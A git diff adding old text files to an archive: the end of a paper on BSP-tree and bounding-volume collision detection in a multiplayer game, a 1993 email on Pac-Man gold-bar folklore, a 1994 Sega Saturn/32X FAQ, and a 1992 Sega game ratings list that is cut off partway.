himself from the rock, it will be difficult to +find a simple dividing plane between your friend and the rock. Therefore, +there will be many update cycles during which the rock is close to your +friend, but hasn't hit him yet. After the rock hits your friend's head +(if he's not a total klutz he'll have at least managed to turn his face +away so that he will not require much plastic surgery), the rock will +bounce off and travel back in something like the opposite direction. +As you can see, there will be many update cycles during which the rock is +close to your friend but not hitting, and only one during which it hits +(figure 10). If the "miss" cycles are much more expensive than the +"hit" cycle, it doesn't matter how much faster the "hit" test becomes. This +is a basic principle of optimization that we failed initially to think about, +and so perhaps we deserve a few rocks ourselves. + + +--- Aha! --- + + +But then we did do something that sped up the general case, which was +to perform all those BSP tests substituting a bounding box shape for +A instead of its true shape. Only if some parts of B collide with A's +bounding box do we go and do the full test against A. This does not take +too much computation (relatively), and it speeds up the great majority of +the near-miss cases that occur in our particular game. Finally, we added a +simple "bounding box safety" test that ran before Plane Divides Entities, +which quickly checked to see whether the two objects' bounding boxes +overlapped. (This test is similar to the OBB testing discussed later in +this paper, but with only one bounding box per object.) Accuracy is a Virtue + +We have presented a few ways of using bounding volumes and dividing planes, +but when using these one must be very careful not to be bitten by the evil +spectre of Numerical Roundoff Error. To illustrate this, we'll look at +the bounding sphere test. We might initially compute the bounding sphere +for some object like this: + + longest_radius := 0.0 + + foreach vertex in the object + vertex_distance := distance from vertex to object's origin if + vertex_distance > longest_radius + then longest_radius := vertex_distance + +When we perform this computation, we will end up with a number that is +somewhat close to the correct radius of the bounding sphere (though it +will usually not be exact, not even to the precision of whatever numerical +representation we are using, because error will accumulate through the +compound mathematical steps we perform to find 'vertex_distance'. + +Let's say, for the sake of argument, that the bounding radius we compute +ends up being a little bit smaller than the right answer. You can see how, +if the bounding sphere is too small, a bounding sphere filter test could +decide that there is no collision, when in fact there should have been +(because the little bits of the object that are poking through the sphere +have collided). + +It's much worse than that, though. To detect a collision between two +objects, we want them to be in the same coordinate system, which means we +have to push at least one of them through a transformation matrix. Unless +we are using very, very precise and picky math for representing the matrix +(game programmers generally won't, for reasons of speed and schedule) +then by the time a vertex has been transformed, all hell has broken loose +in terms of numerical accuracy (especially since the matrix isn't very +accurate to begin with -- think about all the operations you perform to +compose a matrix and you'll understand.) If this error ends up pushing the +vertex further away from the center of the object during transformation, +the discrepancy between conclusions reported by the bounding sphere filter +and by the hard case will grow accordingly. + +Collision detectors that are supposed to work together but end up +contradicting each other are very bad, especially if you're trying to +maintain any kind of system invariants. For our system, we decided that +it must always be true, when the server is in the steady state, that no +objects interpenetrate. Yet if the bounding sphere test causes a collision +to be ignored, we might find two objects interpenetrating at the beginning +of an object update. This Is Bad. It still happens in our system; we +deal with it by calling an emergency routine that removes an object from +the world and then tries to put it back in an arbitrary place as close to +its last position as possible. + + + +--- They Are Not For You --- + + +"What do you want?" can be a very difficult question to answer. In our case +it turned out that, back in the beginning when we asked ourselves what we +wanted, our answer was insufficient. All along while writing our collision +detection routines we assumed that we would be able to just plug in some +equation-solvers and have some really neat looking physics, rather than +the "reverse the object's velocity" kind of bouncing we had started with. +It turned out that, in order to maintain a physical simulation system in +which awful computational mistakes did not happen, we needed to be very +accurate about where and when collisions took place -- otherwise objects +would get stuck, or they would bounce themselves further into the object +they were supposed to be repelling, and then go flying off into outer +space at ten times the speed of light. Or worse. To find the exact time +of collision, we would perform a binary search in the time domain -- if +the timestep started at time t, and we found that objects A and B were +colliding at time (t+1), then we would backtrack them both to time (t+0.5) +and test them again. If they're still colliding, we go further backward +in time; otherwise we go forward again. We stop when we find the earliest +time at which A and B were still not colliding, down to a resolution of t +that we find personally satisfying. Once we find the collision time, we +compare A and B to find the closest features of each object to the other. +Each feature that we find to be close enough to the other object, we +consider to be colliding, and pass that information to the physics system. + + + +--- Let's Rock --- + + +Now we'll examine the effectiveness of the various filters in a simple +game situation. The numbers were acquired in the following situation: the +author joins a game server and flies a hovertank, using it to drop a cargo +box onto the landscape. When the box hits the landscape, it disappears +and deploys a repair pad, appearing in its place. The repair pad pivots +and slides against the ground until it comes to rest. (Once the pad comes +to rest, it is marked as sleeping, which means that no collision detection +or physics routines will act on it until it is upset by an outside force.) +The hovertank then turns around and touches down on the repair pad (in +a concave area, such that there are no dividing planes), then takes off +again and flies away. + + + Object Type # of Polygons # of polygons + (before BSP cuts) (after BSP cuts) + ------------------------------------------------------ + + hovertank 97 111 + cargo box 12 12 + repair pad 69 76 + + + +Here is a listing of collision tests, the number of times during the +sample run that they were effective (came up with a definitive answer about +the status of a collision), the percent of all cases for which they were +effective, and the average amount of time taken for one test (timings taken +from a Pentium 166 running Linux, program compiled with gcc -ggdb -O3 -m486). + + + + # of definitive + Collision Test answers Average Running Time + --------------------------------------------------------------- + + bounding spheres 3800 tiny + bounding box safety 1911 26.13us + plane divides entities 93 231.94us + BSP hard case 842 450.98us + + + +This diagram shows Plane Divides Entities to be a fairly ineffective, +yet expensive, test. This is true, though it did not appear that way +to us originally. Before we added Bounding Box Safety, PDE was much +more effective than shown above (though it was still just as expensive). +However, once it was added, Bounding Box Safety stole most of the easily +filterable collisions away from PDE. At present it looks like we will end +up junking PDE. Furthermore, if [Got96] is as good as they say, Bounding +Box Safety will get even faster. + +Note the high percentage of the time that the system resorted to using the +BSP hard case; in some sense our test run is a pessimistic measurement +since during landing the hovertank becomes intertwined with the repair +pad, much more messily positioned than the average player is during the +majority of gameplay. Extrapolating from these performance numbers, +our system would slow down uncomfortably if all 32 players in a full game +decided to land on complex structures at once. However, we believe that +the system meets current needs. + +The code for the collision detection algorithms themselves is not optimized; +we spent all our time dealing with the software engineering intricacies of +putting together a modern game. It seems likely that simple optimizations +could speed up each test by several times, though we feel it would be +more worthwhile to modify the algorithms. + + + +--- Conclusions, Current Work, and Future Concepts --- + + +The use of easy filters and BSP trees has sped up our system drastically +beyond the simple brute force approach, but there is plenty room for further +drastic improvement. BSP trees require a fair amount of computation to +construct, and once built, they cannot easily be modified except in very +special cases. Because of this, BSP trees are not very useful for objects +that change shape. (They can be used for precomputed 3D mesh animations; +you just precompute one BSP tree per frame of animation. That whole +technique, however, has unappealing limitations.) Several researchers +have gone about creating high-performance collision detection systems. +Here we summarize a few such systems and provide our own comments. + +Philip M. Hubbard describes an algorithm in [Hub96] that uses a hierarchy +of spheres to represent an object. This is appealing at first because +sphere-sphere intersection is very cheap. Hubbard engages in expensive +precomputation to find a good fit of spheres for a given object, which +makes the algorithm less attractive for simulating non-rigid bodies. Also, +many spheres are required to represent complex objects with reasonable +accuracy, and the memory required to store said spheres becomes large. +Finally, it does not seem that this algorithm will perform well for objects +that are tightly intertwined -- though the results presented in Hubbard's +paper are hard to interpret, as they are unclear at best. + +[Pon] and [Lin] describe methods for detecting collisions by tracking +the closest sets of features between potentially colliding objects. +Such methods are appealing because they might scale up very well: if we +can isolate the features of an object which are candidates for collision, +and we can navigate the objects as they rotate to incrementally consider +new features, then we do not even need to transform most of an object's +geometry to test it for collision in common cases. These methods generally +involve building Voronoi diagrams for the shapes in question -- an expensive +procedure which again limits us to rigid bodies, and which is further +troublesome because numerical accuracy is a notorious problem in the +construction of a 3D Voronoi diagram. + +More recently, [Got] et al propose using hierarchies of Oriented Bounding +Boxes (OBBs) and testing for intersection between these boxes using a quick +test based on a separating axis theorem (which is another way of saying +that there always exists a separating plane between two convex polyhedra). +The basic ideas bear similarity to Hubbard's, though the methods for +approximating shapes and testing intersections are completely different. +OBB-trees will generally fit a shape better than Hubbard's spheres for +a given number of subdivisions, but they require much more memory, so a +sphere-approximation system could use deeper trees within the same budget. +The performance figures that Gottschalk et al present are impressive, +though the examples they present in the paper include non-rigid objects and +they neglect to show performance numbers for recomputation of the OBB-trees. + + + +--- Where do we go now? --- + + +Speaking for ourselves, it seems likely that in the next major revision +of our engine we will abandon BSP trees and instead use a hierarchy of +bounding volumes. Rather than require the bounding volumes to fit shapes +as closely as Gottschalk or Hubbard, we will probably use looser-fitting +volumes with correspondingly shallower trees. Each bounding volume would +contain a list of the features it encloses; once we had determined that +some set of leaf-node volumes between two objects intersect, we would +perform n2 collision detection between pairs of offending volumes (though +at this point n would be very small.) Both spheres and axis- aligned +bounding boxes are appealing candidates for such volumes, since they do +not necessitate the successive matrix operations required by OBBs. + +Hierarchies of bounding volumes could be made to work quite well for dynamic +shapes; if a moving feature is allowed to stretch the bounding volume that +contains it, and if that stretching propagates itself up to the root of the +hierarchy, then a moving shape will always have a valid bounding hierarchy +which is quickly computable. (Continued validity would be assured so long +as we never allow a bounding volume to shrink past its original dimensions.) +The bounding hierarchy for a moving object might slowly degrade over time, +but subtrees of the bounding hierarchy could be incrementally recomputed +to maintain a tight fit at little computational cost. + +Hierarchies which store shape features are also a natural fit to our needs, +since the data structure would be equally useful for determining collision +and finding closest feature sets, and in fact the procedute which tests +two objects for collision might return sets of closest features as an +incidental side-effect. This would be very nice compared to our current +closest-feature routine, which is very slow. + + + +--- References --- + + +[Chin95] Norman Chin, "A Walk Through BSP Trees", Graphics Gems V, + Associated Press, 1995. + +[FV90] J. Foley, A. van Dam, S. Feiner, and J. Hughes, + _Computer Graphics Principles and Practice_, 2nd Ed, + Addison-Wesley Systems Programming Series, 1990. + See especially section 12.6.4. + +[Got96] S. Gottschalk, M. Lin and D. Manocha, "OBB-Tree: + A Hierarchical Structure for Rapid Interference Detection', + Siggraph '96. + +[Hub96] Philip M. Hubbard, "Approximating Polyhedra with Spheres + for Time-Critical Collision Detection", ACM Transactions + on Graphics, Vol. 15, No.3, July 1996. + Available at http://siesta.cs.wustl.edu/~pmh/research.html. + +[Lin] Ming C. Lin and Dinesh Manocha, "Efficient Contact + Determination Between Geometric Models". Available at + http://www.cs.unc.edu/~manocha/collision.html. + +[O94] J. O'Rourke, "Computational Geometry in C", Cambridge + University Press, 1994. ISBN 0-521-44592-2 paperback, + ISBN 0-521-44034-3 hardback. + +[Pon] Madhav K. Ponamgi, Dinesh Manocha, and Ming C. Lin, + "Incremental algorithms for collision detection between solid + models", Available at http://www.cs.unc.edu/~manocha/collision.html. + +[Rab94] Rich Rabbitz, "Fast Collision Detection of Moving Convex + Polyhedra", Graphics Gems IV, AP Professional, 1994. + +[Wade97] Bretton Wade, "BSP Tree Frequently Asked Questions". + Available at + http://rtfm.mit.edu/pub/usenet/news.answers/graphics/bsptree-faq + (non-authoritative copy). diff --git a/textfiles.com/games/pmgoldbr.txt b/textfiles.com/games/pmgoldbr.txt new file mode 100644 index 00000000..7cb0721a --- /dev/null +++ b/textfiles.com/games/pmgoldbr.txt @@ -0,0 +1,53 @@ +From stu1087 Mon Mar 1 19:38:27 1993 +Return-Path: +Received: by discover.wright.edu (4.1/SMI-4.1) + id AA06397; Mon, 1 Mar 93 19:38:19 EST +Date: Mon, 1 Mar 93 19:38:19 EST +From: stu1087 (General Unix Account) +Message-Id: <9303020038.AA06397@discover.wright.edu> +To: jdeitch@gisatl.fidonet.org +Subject: additions to folklore list +Cc: stu1087@discover.wright.edu +Status: R + + +There are two games of concern here: Pac-man and Space Invaders Part II. + +Pac-man: I was personally inundated with the rumor of the gold bars in Pac-man. +Several of my acquaintances had reported seeing them. Here are the facts: + +- depending on whom you talked to, they appeared after 12, 15, or 24 keys. + +- some machines had them, some did not. This explained why people had gone + really high and not seen the gold + +- even the book "How to Master the Video Games" by Tom Hirschfeld describes + "... a series of gold and silver bars" + +- the gold bars, worth 10,000 points each, were followed by two screwdrivers, + worth 25,000 points. + +- a related rumor said that eating the eyes (enroute back to the pen following + the eating of a blue monster) was worth "a lot of points". This clearly + never panned out, though. + +- one day I pressed a friend for what the gold bars looked like. She replied + "They're like .... striped". On a totally separate occasion, a somewhat + inarticulate maintenance man at King's Island amusement park near + Cincinnati, told me while in one of the video arcades "yah, afta the + gode bars, dere's dese pointy-like things. 25,000 points each." in an + apparent reference to the screwdrivers. + +So as you can see, accepting that these gold bars are but a myth has been +quite difficult for me to swallow. + +Space Invaders Part II: Made by Taito, lic. to Midway, there is a wonderful +"Rainbow Explosion" if a player manages to shoot a 10-point invader last. + +This one is said to be true. + + + +Michael E. Kotler +stu1087@discover.wright.edu + diff --git a/textfiles.com/games/saturn.faq b/textfiles.com/games/saturn.faq new file mode 100644 index 00000000..dbf83717 --- /dev/null +++ b/textfiles.com/games/saturn.faq @@ -0,0 +1,395 @@ +I admit the last version was a little inaccurate with regards to the +Jupiter, however the more that contact me with extra information the +more definitative this FAQ will become. The FAQ has also become expanded +to cover some 32x/Mars information - though the main topic of the FAQ +will still be the Saturn. If somebody else is willing to start a +separate 32X/Mars FAQ I'll be glad to transfer the relevent information +to them. Changes are marked with a <**> next to them. + ++-------- - - +|| ______ ____ ________ __ __ _____ ___ __ +|| / / / \| || || || \ | \ | | | +| / /__/ / \ \__ __|| || || \ \ | \| | + \____ \| | | | | || || / | \ \ | +| / / /| || | | | | || |\ \ | |\ | | + \_____/ |__||__| |__| \______/|__| \__\|__| \___| + + | +| Frequently Asked Questions || + Version 1.15 || + - - - ---------+ + Maintained by pred@zikzak.apana.org.au + +Since its getting closer to release, and other 32 bit machines now have +their own FAQ's -- why not cover one of the hottest of them all? the +Sega Saturn... + +. What the heck is the Saturn? +. So what is this Jupiter I have heard of? +. Okay then, so what is the 32X? +. So what is the Mars being talked about? +. Who is supporting the Saturn/32X? +. How does Sega Channel fit into this? +. What titles are in production? +. Where/when will it be available? +. How much will it cost? +. Will the Saturn be compatible with the Genesis/SegaCD? +. What are the specifications for the Saturn? +. What are the specifications for the 32X? +. So which 32bit+ system should I choose? + +. Acknowledgements +. Other + + +Q: What the heck is the Saturn? + +A: The Saturn is the latest video game console that is currently in + production by Sega Enterprises. Development on the Saturn has been + continuing for approximately the last 6-12 months, for a release some + time later this year (1994). + Sega has provided the Saturn as the next step up in its range of + highly popular games consoles that began with the 8 bit Master + System, and most recently the 16 bit Genesis and Sega-CD. Each of + these systems has sold many millions of games and units across the + world, making Sega currently the second biggest, if not the biggest + video game manufacturer world-wide. + Saturn is aimed to provide a direct competition with new consoles + such as the 3DO, Atari Jaguar, and Commodore (now in liquidation) + CD32. It also aims to compete against other upcoming consoles such as + the Sony Playstation-X (or PS-X, also due late 1994), and eventually + against Sega's main rival, Nintendo. Nintendo, who in cooperation + with Silicon Graphics are to produce a 64 bit games console + containing much of the technology now implemented in SGI's Onyx + workstations for release in <**> mid 1995. + In technical terms, the Saturn will be a fully 32 bit console that + will offer specialised multi-media capabilities many times greater + than most computer systems at a much cheaper price. Sprite and + rendered graphics will be a natural function of the hardware, and + handled with ease. <**> Sega is also looking into the Saturn being + compatible with MPEG1 as standard if costs permit, allowing the + playing of movies on CD. Software that will be available ranges from + sports to highly frantic arcade games, or anything else you can dream + up. <**> Saturn is also aims to be one of the few consoles to + specifically plan and take into account the integration into online + interactive networks. + + +Q: So what is the Jupiter I have head of? + +A: <**> (just about everything changed). In April it was announced by + many magazines that Sega would be releasing a Jupiter console, a + cartridge only, and slightly lesser version of the Saturn. Recently + plans for the Jupiter were shelved (if in fact we were going to see a + Jupiter at all), probably due to production costs which would have + pushed the machine past what Sega was aiming to sell it for. In order + to be able to release a cheaper system, their current plans are for + the 32X/Mars system. + + +Q: Okay then, so what is the 32X? + +A: It is now official that the 32X is going to be the 'lesser' of Sega's + two new machines, for release at about the same time as the Saturn. + What the 32X will be is an add on for existing Genesis/Megadrive + owners, which when plugged into the general expansion port will + provide extra processing power and other enhancements to your old + machine. + 32X will be cartridge only, and not expected to be upgradeable to + the Saturn (which was first planned with the Jupiter). The 32X will + also include only two specially designed processors, whereas the + Saturn will contain a predicted seven. + For those who own a SegaCD the 32X will take advantage of this to + provide 32X CD games. Basically if you have a SegaCD it will use the + extra capabilities of the machine, in addition to that of the Genesis + itself and 32X. Several of these 32X/CD games are already in + production. The reason for this seems to be so that Sega can boost + sales of the largely flailing SegaCD, while also cutting prices on + the 32X by not having to include a CD-drive. It is expected that + prices for the SegaCD will drop to increase sales for the 32X/CD + combination. + + How did this come about? Most believe that Sega initially was at + work on a cartridge only machine, however due to the market pressure + of CD becoming standard, Sega was persuaded to integrate CD storage + into their machine. Rather than waste this technology, they opted to + use some of the technology in a cheaper, less powerful console. + + +<**> Q: So what is the Mars also talked about? + +A: The Mars is simply a PAL version of the 32X for release in places + such as Australia, some parts of Asia, and Europe. Take the Genesis + and Megadrive as a similar situation, pretty much the same system, + but with a different name. It is expected that neither systems will + be compatible with each other, to prevent uncontrolled 'grey' + importing. + + +Q: Who is supporting the Saturn/32X? + +A: The Saturn is essentially a product of Sega's own inguinuity, and + most of the machine as in fact designed and built by Sega singularly. + Apparently a British firm was involved in one or more of the chip + design, however most dedicated components such as main processor, + co-processor, etc were designed by Japanese firms (such as Hitachi). + These companies have nothing more to do with the Saturn than actual + chip design and production. + The other big news is that Microsoft have made a commitment to + Saturn by developing the software for the machine. It is expected + that this revolves around Microsoft's GUI Windows operating system, + though how active this becomes part of the system to the end-user is + unsure. Microsoft is also interesting in extending its market + interests by helping to develop the Sega Channel and its ultimate aim + of becoming the main player in a future global interactive network. + Major software developers keen on producing Saturn titles include + Sony, Bandia, Konami, <**> ID software (not as big, but everbody + will still be interested!), Namco, plus too many more to + mention here. + + +Q: How does the Sega channel fit into this? + +A: Sega Channel is a venture undertaken by Sega to provide an expansive + and large online network for game players of Saturn, and possibly + other machines (though unlikely). <**> It seems unlikely that the 32X + will be SegaChannel compatible due to the speed of the internal bus. + The system is currently undergoing trials in the United States + and Japan to investigate its viability. When in place the Sega + Channel which operate much like your standard cable television + provider, except rather than offering programs it offers games and + other services. Some of these services include the possibility of + online shopping, a gamers database, game related message facilities, + and probably more to be announced. + + The main aim of the Sega Channel however is to provide games on + demand. For an monthly access fee of $20-$30 (plus the possibility of + online charges), subscribers are continously sent game data for a + game of their choice to their Saturn or possibly 32X. Playing a Sega + Channel game would be similar to the game being in the player's own + machine, except the game is erased from memory after the game is + completed. Such a network also allows the exciting possibility of + country-wide (or even worldwide) games with many different players. + + +Q: What titles are in production? + +A: Here is a list of the more popular known titles that are in + production at the present time <**> FOR THE SATURN. Approximately 40 + other titles will be going into production in the next few months, so + this is just a small sample. + +* Virtua Racing Deluxe (Sega) - An _exact_ (everything) conversion of the + extremely popular arcade driving game. Saturn can easily replicate + what the arcade machine (called Model 1 by Sega) does, so that may + give you a further indication of the Saturn's capabilities. Virtua + Racing includes multiple viewpoints, multiple courses and will allow + the linking of machines for multi-player races. <**> A 32X + version is also planned. + +* Virtua Soccer (Sega) - A polygon/texture-mapped sports game including + multi camera views, different teams plus multi-player support. <**> + This maybe become an officially licensed Soccer game for the World + Cup. + +* <**> Virtua Fighter (Sega) - Another _exact_ conversion of the popular + arcade fighting game using polygon created fighters. SF2 like game + with multiple characters and moves plus a number of different endings. + +* Daytona Racing (Sega) - Another driving/racing game which is based on + production cars. Includes Goudrad shaded graphics, truly three + dimensional tracks, multiple courses plus many different car options. + This uses a newer board (Model 2) to Virtua Racing & Fighting, and + what what you will see from this game is coming up to par on what the + Saturn can do near its best. + +Screen shots of all these titles have been witnessed. + + +Q: How much will it cost? + +A: While costs of these machines have yet to be exactly formalised, + estimates put the Saturn at $450US and the 32X at $150US. This is + expected to include at least one software title, possibly Virtua + Racing or a new Sonic title ;) + Software is expected to be in the region of $70-$100. How this + will vary between the Saturn and 32X is unknown. + + +Q: When/Where will it be available? + +A: The Saturn will first be released in Japan in November this year. + <**> United States release is expected to in early 1995, and + definitely "before the release of Project Reality" according to Sega. + European/Australian/Canada/elsewhere release is likely to be in about + June-July next year. + + <**> United States release of the 32X is expected to be in + mid-November, or at least before Christmas. It is not expected that + the 32X will even be released in Japan, due to the Genesis' relative + lack of popularity. Europe/Australia/Canada/elsewhere release of 32X + is likely to be in December-January at the end of the year. + + No dates have really been finalised or confirmed for either machines. + + +Q: Will the Saturn be compatible with the Genesis or SegaCD? + +A: No. The Saturn will not be able to play Genesis or SegaCD software, + and there are no plans for an optional plug-in convertor. Very + initially the plan was to remain backward compatible with these + machines, however this plan was soon shelved. + + +<**> Q: Will the Saturn be compatible with the 32X? + +A: It is pretty unlikely that this will be the case. While the 32X + implements some Saturn technology, the wide technological difference + between the two means this is not really possible (or probably + desirable). 32X relies on Genesis capabilities that the Saturn simply + doesn't include, so the answer is basically no. + + +Q: What are the specifications of the Saturn? + +A: Here is what Sega will let on currently: + + PROCESSOR: Twin Hitachi SH2 32 bit RISC Chip + - Clock speed of 27Mhz + + CO-PROCESSORS: Hitachi SH1 CISC + 24 bit DSP + Motorola 68000 + Video processor + - 900,000 polygons/sec display + - Gouraud shading + - texture mapping + - five levels of hardware scrolling + - sprite rotation, scaling, etc + - four hardware sprite planes + - two sprite manipulation planes + + VIDEO: - 16.8 million colours + - 720x576 (?) resolution + - MPEG decompression/playback + - 16:9 (wide screen) compatible + + MEMORY: 2 megabytes main RAM + 1.54 megabytes VRAM + 540 kilobytes audio RAM + 540 kilobytes CD-ROM cache + + AUDIO: 16 bit 68000 + - 32 PCM channels (pulse-code modulation) + - 8 FM channels + - 44.1khz sampling rate + + I/O: High speed transfer port + - Sega Channel compatible + - Multi-link compatible (link two or more Saturn machines) + PAL or NTSC RF signal (depending on location) + SVHS output + HDTV output + RGB output (?) + Analog control pad input/output + + STORAGE: CD-ROM + - 320kb/sec + - Audio CD, CD&G, Karokee CD, MPEG-1 compatible + + Cartridge (no longer certain) + - System upgradable + + +<**> Q: What are the specifications of the 32X? + +A: This is even less known that that of the Saturn at the present time. + What is believed at present is the following: + + PROCESSOR: Twin Hitachi 32 bit RISC processors + - clock speed of 23 MHZ + - 40 MIPS + + CO-PROCESSOR(s): Existing Genesis 68000, SegaCD and other chips + Video processor + - 50,000 polygons/sec + - texture mapping + - scaling and rotation + + VIDEO: - 32,768 colours on screen + - (Genesis resolution?) + - Overlaying over existing Genesis/SegaCD video + + MEMORY: 512k (4 mbit) additional RAM to Genesis/SegaCD memory + + AUDIO: Stereo PCM chip + - audio mixing with Genesis sound + - additional 2 channels (therefore 14 all together?) + + I/O: ??? + + STORAGE: CD-ROM if you have a SegaCD + - speed same as SegaCD + - compatible with audio CD, CD&G, SegaCD + + Cartridge + - compatible with Genesis + + +Q: So which 32 bit system is the more powerful? + +A: At the present, without a working model to benchmark it is a little + hard to tell which system really is the most powerful. Even when a + working model is demonstrated, due to highly different architecture, + comparing simply specifications will not really give you an + indication of which system is the most powerful. Depending on the + type of software and complexity, this will vary between systems. + For computer addicts, a rough indication is that Saturn in raw + processing power is likely to be as powerful as a 486dx33 - though of + course with specialised capability to manipulate graphics, many times + more efficiency. + + +Q: So which 32 bit+ system should I choose? + +A: That is a question which ultimately has to be left up to the + individual player. However, the Saturn/32X offers a system which + is supported by one the biggest video game companies, that being + Sega -- meaning a wealth of software and retail support. + For more mature players (that is open to interprutation) the + Saturn may not provide enough mature titles to make a purchase + worthwhile. While it will provide a lot more variety than some might + otherwise be used to with the Genesis and Sega-CD machines, Sega + has really aimed these machines at the younger/family market. + Bang for buck, the Saturn offers a lot more power than equivelent + machines at pretty much equal price. What may ultimately be the + difference to many is price of software -- while some companies are + now selling latest releases at $50-$70, it is expected that Saturn + releases could be in the region of $70-$100. + + +ACKNOWLEDGEMENTS + +* Myself :) (pred@zikzak.apana.org.au) +* Kelly Bradley (hbradley@ponder.csci.unt.edu) +* David Aldride (as440@freenet.carleton.ca) +* Others who have help add information to this FAQ +* YOUR name could be here if you can provide some more/updated information! + + +OTHER + +.: Please do not ask for me to send you a personal copy via email -- +this FAQ will be posted _once_ monthly (and probably in between for +updates). Permission is granted to post this FAQ freely by other users +as long as it remains in its original form and without modification. + +.: Just a short plug for my console magazine - Frontier magazine is a +fairly new magazine (3 issues so far) that aims to provide a more +complete and more intellectual coverage of consoles _only_. If you +liked this FAQ, you will probably find Frontier equally as interesting, +check out the magazine at + +ftp.digex.net in pub/access/spatton/frontier_magazine/ + +-- end FAQ -- diff --git a/textfiles.com/games/sega.txt b/textfiles.com/games/sega.txt new file mode 100644 index 00000000..0495e02d --- /dev/null +++ b/textfiles.com/games/sega.txt @@ -0,0 +1,189 @@ +From news Wed Apr 1 12:17:53 1992 +Path: uwm.edu!linac!att!ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: VIDEO GAME RATINGS REPORT (SEGA GENESIS, GAME GEAR) +Message-ID: <44159@ucbvax.BERKELEY.EDU> +Date: 1 Apr 92 02:36:51 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 177 + +For information on the list format and on submitting your ratings, +consult the article entitled `ABOUT THE VIDEO GAME RATINGS REPORT' in +the newsgroup rec.games.video. + +VIDEO GAME RATINGS REPORT + +SEGA GAME GEAR +New Distribution Votes Rank Title + .......*.. 1 8.0 Berlin Wall + ...2...7.. 4 7.0 Castle Of Illusion Starring Mickey Mouse + ......*... 1 7.0 Clutch Hitter + ...126.... 8 5.5 Columns + ....5..5.. 2 6.5 Devilish + .....5.5.. 2 7.0 Dragon Crystal + .....*.... 1 6.0 Factory Panic + 2...2..22. 4 5.8 G-Loc + .....*.... 1 6.0 Galaga '91 + ......3.6. 3 8.3 Joe Montana Football + .......*.. 1 8.0 Junction + ......*... 2 7.0 Ninja Gaiden + ......36.. 3 7.7 Shinobi + ......33.3 3 8.3 Slider + .......262 5 9.0 Sonic The Hedgehog + ......*... 1 7.0 Space Harrier + ......6.3. 3 7.7 Super Monaco G.P. + .....*.... 1 6.0 Woody Pop + +SEGA GENESIS AND MEGADRIVE +New Distribution Votes Rank Title + ......55.. 2 7.5 688 Attack Sub + ..110130.. 12 5.6 Afterburner II + ..42..4... 5 4.8 Air Buster + ..11131... 6 5.2 Air Diver + ..2.422... 5 5.2 Alex Kidd In The Enchanted Castle + .1..1512.. 10 6.0 Alien Storm + 00231000.. 31 4.1 Altered Beast + ....24..4. 5 7.0 Arcus Odyssey + ....2242.. 5 6.6 Arnold Palmer Tournament Golf + ..2222.... 4 4.5 Arrow Flash + * ......*... 1 7.0 Atomic Robo-Kid + ..1..241.. 13 6.3 Batman + ...*...... 1 4.0 Battle Squadron + *......... 1 1.0 Battlemaster + * *......... 1 1.0 Beast Wrestler + * ....*..... 1 5.0 Budokan + ....5.5... 2 6.0 Burning Force + 0.0.000222 34 8.2 Castle Of Illusion Starring Mickey Mouse + .....63... 3 6.3 Centurion: Defender Of Rome + ....01410. 11 7.0 Columns + ...22.6... 5 6.0 Crackdown + .....*.... 1 6.0 Crossfire + ..0..2400. 11 6.6 Cyberball + 22.1.11... 7 3.3 D.J. Boy + ..*....... 1 3.0 Dangerous Seed + .......55. 2 8.5 Decap Attack + .....*.... 1 6.0 Devil Hunter Yoko + ........63 8 9.4 Devil's Crush + ......63.. 3 7.3 Dinoland + ...133.1.. 6 5.7 Dynamite Duke + ....3.51.. 8 6.4 E-Swat + .....252.. 4 7.0 El Viento + ......*... 1 7.0 Elemental Master + .....01420 12 8.1 F-22 Interceptor Advanced Tactical Fighter + 3..3.3.... 3 3.7 Faery Tale Adventure, The + .22222.... 10 4.0 Fantasia + 2..222.... 4 4.0 Fatal Labyrinth + ....2.42.2 5 7.4 Fatal Rewind + .2.44..... 5 4.0 Final Zone + ......171. 7 8.0 Fire Shark + 11.1111..1 7 5.0 Flicky + ..0.0520.. 12 6.1 Forgotten Worlds + .......*.. 1 8.0 Fushigi No Umi No Nadia + ..0.011140 17 7.7 Gaiares + .....6.22. 10 7.0 Gain Ground + ...1233... 9 5.9 Ghostbusters + ....011130 23 7.7 Ghouls N' Ghosts + ....01242. 20 7.7 Golden Axe + ...0.0105. 12 7.9 Golden Axe II + ...0.05010 12 7.3 Granada + .....*.... 1 6.0 Hardball! + ...5.5.... 2 5.0 Heavy Unit + ....3.3.11 8 6.9 Hellfire + ...1010302 16 7.6 Herzog Zwei + ...122.2.2 9 6.9 Immortal, The + .....*.... 2 6.0 Insector-X + ..22.2.2.. 4 5.2 James Pond II: Codename: Robocod + 2...26.... 5 4.8 James Pond: Underwater Agent + .......*.. 1 8.0 Joe Montana Football + ..1..1214. 9 7.4 Joe Montana II Sports Talk Football + ......135. 20 8.3 John Madden Football + .......135 21 9.4 John Madden Football '92 + .5...5.... 2 4.0 Junction + .....26..1 9 7.1 Klax + ....02411. 15 7.1 Lakers Vs. Celtics And The N.B.A. Playoffs + ...27..... 4 4.8 Last Battle + ....3.33.. 3 6.7 M-1 Abrahams Battle Tank Simulator + ......125. 7 8.4 M.U.S.H.A. + .....36... 3 6.7 Mario Lemieux Hockey + .........* 1 10.0 Marvel Land + 1...1.123. 8 7.0 Master Of Monsters + ...24.4... 5 5.6 Mercs + ..1.214... 7 5.7 Michael Jackson's Moonwalker + .....333.. 6 7.0 Midnight Resistance + ...1..1232 9 8.2 Might And Magic: Gates To Another World + .....*.... 1 6.0 Mike Ditka Power Football + ...4.24... 5 5.6 Mystic Defender + ......1.17 20 9.6 N.H.L. Hockey + ...1.1113. 6 7.2 Outrun + ......*... 1 7.0 P.G.A. Tour Golf + ..3.3.3... 3 5.0 Pat Riley Basketball + ......2341 10 8.4 Phantasy Star II + ....3..33. 3 7.3 Phantasy Star III + .....1331. 6 7.5 Phelios + ..1.01212. 13 6.7 Pit-Fighter + ..00.0331. 18 7.1 Populous + .....02311 23 8.2 Quackshot Starring Donald Duck + ..22.42... 5 5.2 R.B.I. Baseball 3 + ..1..1311. 6 6.7 Raiden Trad + ....531... 8 5.6 Rambo III + ....002211 21 7.8 Revenge Of Shinobi + .......*.. 1 8.0 Rings Of Power + ..00..0133 28 8.7 Road Rash + .......*.. 1 8.0 Roadblasters + .....25.2. 4 7.2 Sagaia + ....55.... 2 5.5 Shadow Blasters + ...001132. 13 7.2 Shadow Dancer: The Secret Of Shinobi + .242.2.... 5 3.6 Shadow Of The 